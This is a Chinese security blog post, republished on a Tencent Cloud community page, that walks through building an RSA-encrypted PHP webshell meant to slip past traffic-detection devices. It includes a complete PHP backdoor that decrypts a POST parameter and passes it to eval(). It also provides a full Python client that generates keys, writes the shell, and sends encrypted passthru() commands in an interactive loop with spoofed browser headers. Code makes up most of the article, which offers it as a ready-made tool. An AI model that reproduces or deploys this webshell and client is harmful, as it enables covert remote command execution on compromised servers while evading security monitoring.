前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >RSA在webshell中的使用

RSA在webshell中的使用

作者头像
鸿鹄实验室
发布2021-04-01 16:12:48
1.1K0
发布2021-04-01 16:12:48
举报
文章被收录于专栏:鸿鹄实验室鸿鹄实验室

本文将简单介绍RSA在webshell中的使用,旨在帮助小白们快速制作自己的流量混淆工具。

关于RSA

援引百度百科对RSA的介绍:

代码语言:javascript
复制
RSA是1977年由罗纳德·李维斯特(Ron Rivest)、阿迪·萨莫尔(Adi Shamir)
和伦纳德·阿德曼(Leonard Adleman)一起提出的。当时他们三人都在麻省理工学
院工作。RSA就是他们三人姓氏开头字母拼在一起组成的RSA公开密钥密码体制的原理
是:根据数论,寻求两个大素数比较简单,而将它们的乘积进行因式分解却极其困难,
因此可以将乘积公开作为加密密钥......

具体的原理什么的就不多说了,这也不是专门介绍密码学的文章。我们只需要知道它是一个强加密,有公私匙,可以过流量检测设备就行了。

过程实践

首先使用openssl来进行公私匙的生成:

代码语言:javascript
复制
openssl genrsa -out privkey.pem 2048
openssl rsa -in privkey.pem -out publickey.pem -pubout

然后使用M2Crypto进行利用文件进行文本加密:

代码语言:javascript
复制
def pri_encrypt(msg, file_name):
    rsa_pri = M2Crypto.RSA.load_key(file_name)
    ctxt_pri = rsa_pri.private_encrypt(
        msg.encode(), M2Crypto.RSA.pkcs1_padding)
    ctxt64_pri = base64.b64encode(ctxt_pri)
    return ctxt64_pri

比如对test进行加密:

可以看到字符串已经成功的加密了。接下来就是PHP文件的处理了,一样使用openssl这个库,来操作,缺点就是需要依赖:

代码语言:javascript
复制
<?php
class Rsa {
    private static $PUBLIC_KEY= "MyPubKey";
    private static function getPublicKey()
{
        $publicKey = self::$PUBLIC_KEY;
        return openssl_pkey_get_public($publicKey);
    }

    public static function publicDecrypt($encrypted = "")
{
        if (!is_string($encrypted)) {
            return null;
        }
        return (openssl_public_decrypt(base64_decode($encrypted), $decrypted, self::getPublicKey())) ? $decrypted : null;
    }
}
$cmd=$_POST['MyPass'];
$rsa = new Rsa();
$publicDecrypt = $rsa->publicDecrypt($cmd);
$res=eval($publicDecrypt);

这样我们的主要的文件就算写好了,下面就是编写一个简单的webshell管理工具了,代码如下(代码有点烂,能跑起来在说):

代码语言:javascript
复制
#!/usr/bin/python
# coding: utf-8
# Author: lengyi@HongHuSEC

import sys
import argparse
import requests
import base64
import M2Crypto
import os
import io

sys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf-8')

def creatkey():
    return os.system('openssl genrsa -out privkey.pem 2048\nopenssl rsa -in privkey.pem -out publickey.pem -pubout\n')

def pri_encrypt(msg, file_name):
    rsa_pri = M2Crypto.RSA.load_key(file_name)
    ctxt_pri = rsa_pri.private_encrypt(msg.encode(), M2Crypto.RSA.pkcs1_padding)
    ctxt64_pri = base64.b64encode(ctxt_pri)
    return ctxt64_pri

def get_args():
    arser = argparse.ArgumentParser(prog="SimpleRSA webshell",
                    formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),
                    epilog= "Usage:\n1、python3 SimpleRSA_shell.py -c filename -p password \n2、python3 SimpleRSA_shell.py -u url -p password")
    arser.add_argument("-c", "--create", nargs='?', help="Create a webshell(default password is pass)")
    arser.add_argument("-p", "--password", nargs='?',default="pass",help="Set password && Link password",dest='password')
    arser.add_argument("-u", "--url", nargs='?',help="Set Url")
    args = arser.parse_args()
    return args

def createphpshell(shell,pwd, pubkey):
    with open("demo.php","rb")as f:
        shelltxt=f.read().decode()
        shelltxt = shelltxt.replace("MyPass", pwd).replace(
            'MyPubKey', pubkey.decode())
        with open(shell, "w") as f1:
            f1.write(shelltxt)
        print(f"[+]php马存放在{shell},链接密码{pwd}")

def main():
    args = get_args()
    if (len(sys.argv) == 1):
        print(f"Usage: python3 {sys.argv[0]} -h")
        exit()
    elif (len(sys.argv) == 5 and args.create != None):
        if (os.path.exists("publickey.pem") == False or os.path.exists("privkey.pem") == False):
            print("[+]正在生成公私钥对...")
            if (creatkey() == 0):
                print("[+]生成成功")
            else:
                print("[-]失败,请检查权限问题")
        pubkey_file = './publickey.pem'
        with open(pubkey_file, 'rb') as f:
            pubkey = f.read()
        createphpshell(shell=args.create.strip(), pwd=args.password.strip(), pubkey=pubkey)
    elif(len(sys.argv) == 5 and args.url.strip()!=None):
        prikey_file = './privkey.pem'
        payload = "passthru('123');"
        while (True):
            encryptshell = pri_encrypt(payload, prikey_file)
            data = {
                args.password.strip(): encryptshell
            }
            headers = {
                "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
                "Accept-Encoding": "gzip, deflate, br",
                "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
                "Connection": "keep-alive",
                "Referer": "https://www.google.com.hk/",
                "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36",
            }
            print(requests.post(args.url.strip(), data=data, headers=headers).text.strip())
            payload = input(">")
            if payload == "exit":
                sys.exit()
            else:
                payload = f"passthru('{payload}');"
    else:
        exit()


if __name__ == '__main__':
    main()

demo效果:

可以创建马、与进行webshell的连接。

效果

使用工具执行命令,发现可以成功的接收返回的结果:

流量如下:

TODO:

双向流量加密

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-12-30,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 鸿鹄实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
SSL 证书
腾讯云 SSL 证书(SSL Certificates)为您提供 SSL 证书的申请、管理、部署等服务,为您提供一站式 HTTPS 解决方案。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档